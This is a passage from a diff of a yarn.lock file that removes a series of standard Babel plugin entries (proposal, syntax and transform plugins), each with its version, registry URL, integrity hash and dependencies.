-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.14.5.tgz#e581d5ccdfa187ea6ed73f56c6a21c1580b90fbf"
-  integrity sha512-VzMyY6PWNPPT3pxc5hi9LloKNr4SSrVCg7Yr6aZpW4Ym07r7KqSU/QXYwjXLVxqwSv0t/XSXkFoKBPUkZ8vb2A==
-  dependencies:
-    "@babel/compat-data" "^7.14.5"
-    "@babel/helper-compilation-targets" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.14.5"
-
-"@babel/plugin-proposal-optional-catch-binding@^7.14.5", "@babel/plugin-proposal-optional-catch-binding@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.14.5.tgz#939dd6eddeff3a67fdf7b3f044b5347262598c3c"
-  integrity sha512-3Oyiixm0ur7bzO5ybNcZFlmVsygSIQgdOa7cTfOYCMY+wEPAYhZAJxi3mixKFCTCKUhQXuCTtQ1MzrpL3WT8ZQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-
-"@babel/plugin-proposal-optional-chaining@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.9.0.tgz#31db16b154c39d6b8a645292472b98394c292a58"
-  integrity sha512-NDn5tu3tcv4W30jNhmc2hyD5c56G6cXx4TesJubhxrJeCvuuMpttxr0OnNCqbZGhFjLrg+NIhxxC+BK5F6yS3w==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-
-"@babel/plugin-proposal-optional-chaining@^7.14.5", "@babel/plugin-proposal-optional-chaining@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.14.5.tgz#fa83651e60a360e3f13797eef00b8d519695b603"
-  integrity sha512-ycz+VOzo2UbWNI1rQXxIuMOzrDdHGrI23fRiz/Si2R4kv2XZQ1BK8ccdHwehMKBlcH/joGW/tzrUmo67gbJHlQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.14.5"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-
-"@babel/plugin-proposal-private-methods@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.14.5.tgz#37446495996b2945f30f5be5b60d5e2aa4f5792d"
-  integrity sha512-838DkdUA1u+QTCplatfq4B7+1lnDa/+QMI89x5WZHBcnNv+47N8QEj2k9I2MUU9xIv8XJ4XvPCviM/Dj7Uwt9g==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-proposal-private-property-in-object@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.14.5.tgz#9f65a4d0493a940b4c01f8aa9d3f1894a587f636"
-  integrity sha512-62EyfyA3WA0mZiF2e2IV9mc9Ghwxcg8YTu8BS4Wss4Y3PY725OmS9M0qLORbJwLqFtGh+jiE4wAmocK2CTUK2Q==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-create-class-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
-
-"@babel/plugin-proposal-unicode-property-regex@^7.14.5", "@babel/plugin-proposal-unicode-property-regex@^7.4.4", "@babel/plugin-proposal-unicode-property-regex@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.14.5.tgz#0f95ee0e757a5d647f378daa0eca7e93faa8bbe8"
-  integrity sha512-6axIeOU5LnY471KenAB9vI8I5j7NQ2d652hIYwVyRfgaZT5UpiqFKCuVXCDMSrU+3VFafnu2c5m3lrWIlr6A5Q==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-async-generators@^7.8.0", "@babel/plugin-syntax-async-generators@^7.8.4":
-  version "7.8.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
-  integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-class-properties@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
-  integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-class-static-block@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406"
-  integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-decorators@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.14.5.tgz#eafb9c0cbe09c8afeb964ba3a7bbd63945a72f20"
-  integrity sha512-c4sZMRWL4GSvP1EXy0woIP7m4jkVcEuG8R1TOZxPBPtp4FSM/kiPZub9UIs/Jrb5ZAOzvTUSGYrWsrSu1JvoPw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-dynamic-import@^7.8.0", "@babel/plugin-syntax-dynamic-import@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
-  integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-export-namespace-from@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a"
-  integrity sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-syntax-flow@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.14.5.tgz#2ff654999497d7d7d142493260005263731da180"
-  integrity sha512-9WK5ZwKCdWHxVuU13XNT6X73FGmutAXeor5lGFq6qhOFtMFUF4jkbijuyUdZZlpYq6E2hZeZf/u3959X9wsv0Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-json-strings@^7.8.0", "@babel/plugin-syntax-json-strings@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
-  integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-jsx@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.14.5.tgz#000e2e25d8673cce49300517a3eda44c263e4201"
-  integrity sha512-ohuFIsOMXJnbOMRfX7/w7LocdR6R7whhuRD4ax8IipLcLPlZGJKkBxgHp++U4N/vKyU16/YDQr2f5seajD3jIw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-logical-assignment-operators@^7.10.4":
-  version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
-  integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
-  integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-numeric-separator@^7.10.4", "@babel/plugin-syntax-numeric-separator@^7.8.0", "@babel/plugin-syntax-numeric-separator@^7.8.3":
-  version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
-  integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-object-rest-spread@^7.0.0", "@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
-  integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-catch-binding@^7.8.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
-  integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-chaining@^7.8.0", "@babel/plugin-syntax-optional-chaining@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
-  integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-private-property-in-object@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad"
-  integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-top-level-await@^7.14.5", "@babel/plugin-syntax-top-level-await@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c"
-  integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-typescript@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.14.5.tgz#b82c6ce471b165b5ce420cf92914d6fb46225716"
-  integrity sha512-u6OXzDaIXjEstBRRoBCQ/uKQKlbuaeE5in0RvWdA4pN6AhqxTIwUsnHPU1CFZA/amYObMsuWhYfRl3Ch90HD0Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-arrow-functions@^7.14.5", "@babel/plugin-transform-arrow-functions@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.14.5.tgz#f7187d9588a768dd080bf4c9ffe117ea62f7862a"
-  integrity sha512-KOnO0l4+tD5IfOdi4x8C1XmEIRWUjNRV8wc6K2vz/3e8yAOoZZvsRXRRIF/yo/MAOFb4QjtAw9xSxMXbSMRy8A==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-async-to-generator@^7.14.5", "@babel/plugin-transform-async-to-generator@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.14.5.tgz#72c789084d8f2094acb945633943ef8443d39e67"
-  integrity sha512-szkbzQ0mNk0rpu76fzDdqSyPu0MuvpXgC+6rz5rpMb5OIRxdmHfQxrktL8CYolL2d8luMCZTR0DpIMIdL27IjA==
-  dependencies:
-    "@babel/helper-module-imports" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-remap-async-to-generator" "^7.14.5"
-
-"@babel/plugin-transform-block-scoped-functions@^7.14.5", "@babel/plugin-transform-block-scoped-functions@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.14.5.tgz#e48641d999d4bc157a67ef336aeb54bc44fd3ad4"
-  integrity sha512-dtqWqdWZ5NqBX3KzsVCWfQI3A53Ft5pWFCT2eCVUftWZgjc5DpDponbIF1+c+7cSGk2wN0YK7HGL/ezfRbpKBQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-block-scoping@^7.14.5", "@babel/plugin-transform-block-scoping@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.14.5.tgz#8cc63e61e50f42e078e6f09be775a75f23ef9939"
-  integrity sha512-LBYm4ZocNgoCqyxMLoOnwpsmQ18HWTQvql64t3GvMUzLQrNoV1BDG0lNftC8QKYERkZgCCT/7J5xWGObGAyHDw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-classes@^7.14.5", "@babel/plugin-transform-classes@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.14.5.tgz#0e98e82097b38550b03b483f9b51a78de0acb2cf"
-  integrity sha512-J4VxKAMykM06K/64z9rwiL6xnBHgB1+FVspqvlgCdwD1KUbQNfszeKVVOMh59w3sztHYIZDgnhOC4WbdEfHFDA==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-function-name" "^7.14.5"
-    "@babel/helper-optimise-call-expression" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-replace-supers" "^7.14.5"
-    "@babel/helper-split-export-declaration" "^7.14.5"
-    globals "^11.1.0"
-
-"@babel/plugin-transform-computed-properties@^7.14.5", "@babel/plugin-transform-computed-properties@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.14.5.tgz#1b9d78987420d11223d41195461cc43b974b204f"
-  integrity sha512-pWM+E4283UxaVzLb8UBXv4EIxMovU4zxT1OPnpHJcmnvyY9QbPPTKZfEj31EUvG3/EQRbYAGaYEUZ4yWOBC2xg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-destructuring@^7.14.5", "@babel/plugin-transform-destructuring@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.14.5.tgz#d32ad19ff1a6da1e861dc62720d80d9776e3bf35"
-  integrity sha512-wU9tYisEbRMxqDezKUqC9GleLycCRoUsai9ddlsq54r8QRLaeEhc+d+9DqCG+kV9W2GgQjTZESPTpn5bAFMDww==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-dotall-regex@^7.14.5", "@babel/plugin-transform-dotall-regex@^7.4.4", "@babel/plugin-transform-dotall-regex@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.14.5.tgz#2f6bf76e46bdf8043b4e7e16cf24532629ba0c7a"
-  integrity sha512-loGlnBdj02MDsFaHhAIJzh7euK89lBrGIdM9EAtHFo6xKygCUGuuWe07o1oZVk287amtW1n0808sQM99aZt3gw==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-duplicate-keys@^7.14.5", "@babel/plugin-transform-duplicate-keys@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.14.5.tgz#365a4844881bdf1501e3a9f0270e7f0f91177954"
-  integrity sha512-iJjbI53huKbPDAsJ8EmVmvCKeeq21bAze4fu9GBQtSLqfvzj2oRuHVx4ZkDwEhg1htQ+5OBZh/Ab0XDf5iBZ7A==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-exponentiation-operator@^7.14.5", "@babel/plugin-transform-exponentiation-operator@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.14.5.tgz#5154b8dd6a3dfe6d90923d61724bd3deeb90b493"
-  integrity sha512-jFazJhMBc9D27o9jDnIE5ZErI0R0m7PbKXVq77FFvqFbzvTMuv8jaAwLZ5PviOLSFttqKIW0/wxNSDbjLk0tYA==
-  dependencies:
-    "@babel/helper-builder-binary-assignment-operator-visitor" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-flow-strip-types@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.9.0.tgz#8a3538aa40434e000b8f44a3c5c9ac7229bd2392"
-  integrity sha512-7Qfg0lKQhEHs93FChxVLAvhBshOPQDtJUTVHr/ZwQNRccCm4O9D79r9tVSoV8iNwjP1YgfD+e/fgHcPkN1qEQg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-flow" "^7.8.3"
-
-"@babel/plugin-transform-for-of@^7.14.5", "@babel/plugin-transform-for-of@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.14.5.tgz#dae384613de8f77c196a8869cbf602a44f7fc0eb"
-  integrity sha512-CfmqxSUZzBl0rSjpoQSFoR9UEj3HzbGuGNL21/iFTmjb5gFggJp3ph0xR1YBhexmLoKRHzgxuFvty2xdSt6gTA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-function-name@^7.14.5", "@babel/plugin-transform-function-name@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.14.5.tgz#e81c65ecb900746d7f31802f6bed1f52d915d6f2"
-  integrity sha512-vbO6kv0fIzZ1GpmGQuvbwwm+O4Cbm2NrPzwlup9+/3fdkuzo1YqOZcXw26+YUJB84Ja7j9yURWposEHLYwxUfQ==
-  dependencies:
-    "@babel/helper-function-name" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-literals@^7.14.5", "@babel/plugin-transform-literals@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.14.5.tgz#41d06c7ff5d4d09e3cf4587bd3ecf3930c730f78"
-  integrity sha512-ql33+epql2F49bi8aHXxvLURHkxJbSmMKl9J5yHqg4PLtdE6Uc48CH1GS6TQvZ86eoB/ApZXwm7jlA+B3kra7A==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-member-expression-literals@^7.14.5", "@babel/plugin-transform-member-expression-literals@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.14.5.tgz#b39cd5212a2bf235a617d320ec2b48bcc091b8a7"
-  integrity sha512-WkNXxH1VXVTKarWFqmso83xl+2V3Eo28YY5utIkbsmXoItO8Q3aZxN4BTS2k0hz9dGUloHK26mJMyQEYfkn/+Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-modules-amd@^7.14.5", "@babel/plugin-transform-modules-amd@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.14.5.tgz#4fd9ce7e3411cb8b83848480b7041d83004858f7"
-  integrity sha512-3lpOU8Vxmp3roC4vzFpSdEpGUWSMsHFreTWOMMLzel2gNGfHE5UWIh/LN6ghHs2xurUp4jRFYMUIZhuFbody1g==
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-commonjs@^7.14.5", "@babel/plugin-transform-modules-commonjs@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.14.5.tgz#7aaee0ea98283de94da98b28f8c35701429dad97"
-  integrity sha512-en8GfBtgnydoao2PS+87mKyw62k02k7kJ9ltbKe0fXTHrQmG6QZZflYuGI1VVG7sVpx4E1n7KBpNlPb8m78J+A==
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-simple-access" "^7.14.5"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-systemjs@^7.14.5", "@babel/plugin-transform-modules-systemjs@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.14.5.tgz#c75342ef8b30dcde4295d3401aae24e65638ed29"
-  integrity sha512-mNMQdvBEE5DcMQaL5LbzXFMANrQjd2W7FPzg34Y4yEz7dBgdaC+9B84dSO+/1Wba98zoDbInctCDo4JGxz1VYA==
-  dependencies:
-    "@babel/helper-hoist-variables" "^7.14.5"
-    "@babel/helper-module-transforms" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-validator-identifier" "^7.14.5"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-umd@^7.14.5", "@babel/plugin-transform-modules-umd@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.14.5.tgz#fb662dfee697cce274a7cda525190a79096aa6e0"
-  integrity sha512-RfPGoagSngC06LsGUYyM9QWSXZ8MysEjDJTAea1lqRjNECE3y0qIJF/qbvJxc4oA4s99HumIMdXOrd+TdKaAAA==
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-named-capturing-groups-regex@^7.14.5", "@babel/plugin-transform-named-capturing-groups-regex@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.14.5.tgz#d537e8ee083ee6f6aa4f4eef9d2081d555746e4c"
-  integrity sha512-+Xe5+6MWFo311U8SchgeX5c1+lJM+eZDBZgD+tvXu9VVQPXwwVzeManMMjYX6xw2HczngfOSZjoFYKwdeB/Jvw==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.14.5"
-
-"@babel/plugin-transform-new-target@^7.14.5", "@babel/plugin-transform-new-target@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.14.5.tgz#31bdae8b925dc84076ebfcd2a9940143aed7dbf8"
-  integrity sha512-Nx054zovz6IIRWEB49RDRuXGI4Gy0GMgqG0cII9L3MxqgXz/+rgII+RU58qpo4g7tNEx1jG7rRVH4ihZoP4esQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-object-super@^7.14.5", "@babel/plugin-transform-object-super@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.14.5.tgz#d0b5faeac9e98597a161a9cf78c527ed934cdc45"
-  integrity sha512-MKfOBWzK0pZIrav9z/hkRqIk/2bTv9qvxHzPQc12RcVkMOzpIKnFCNYJip00ssKWYkd8Sf5g0Wr7pqJ+cmtuFg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-replace-supers" "^7.14.5"
-
-"@babel/plugin-transform-parameters@^7.14.5", "@babel/plugin-transform-parameters@^7.8.7":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.14.5.tgz#49662e86a1f3ddccac6363a7dfb1ff0a158afeb3"
-  integrity sha512-Tl7LWdr6HUxTmzQtzuU14SqbgrSKmaR77M0OKyq4njZLQTPfOvzblNKyNkGwOfEFCEx7KeYHQHDI0P3F02IVkA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-property-literals@^7.14.5", "@babel/plugin-transform-property-literals@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.14.5.tgz#0ddbaa1f83db3606f1cdf4846fa1dfb473458b34"
-  integrity sha512-r1uilDthkgXW8Z1vJz2dKYLV1tuw2xsbrp3MrZmD99Wh9vsfKoob+JTgri5VUb/JqyKRXotlOtwgu4stIYCmnw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-react-constant-elements@^7.0.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.14.5.tgz#41790d856f7c5cec82d2bcf5d0e5064d682522ed"
-  integrity sha512-NBqLEx1GxllIOXJInJAQbrnwwYJsV3WaMHIcOwD8rhYS0AabTWn7kHdHgPgu5RmHLU0q4DMxhAMu8ue/KampgQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
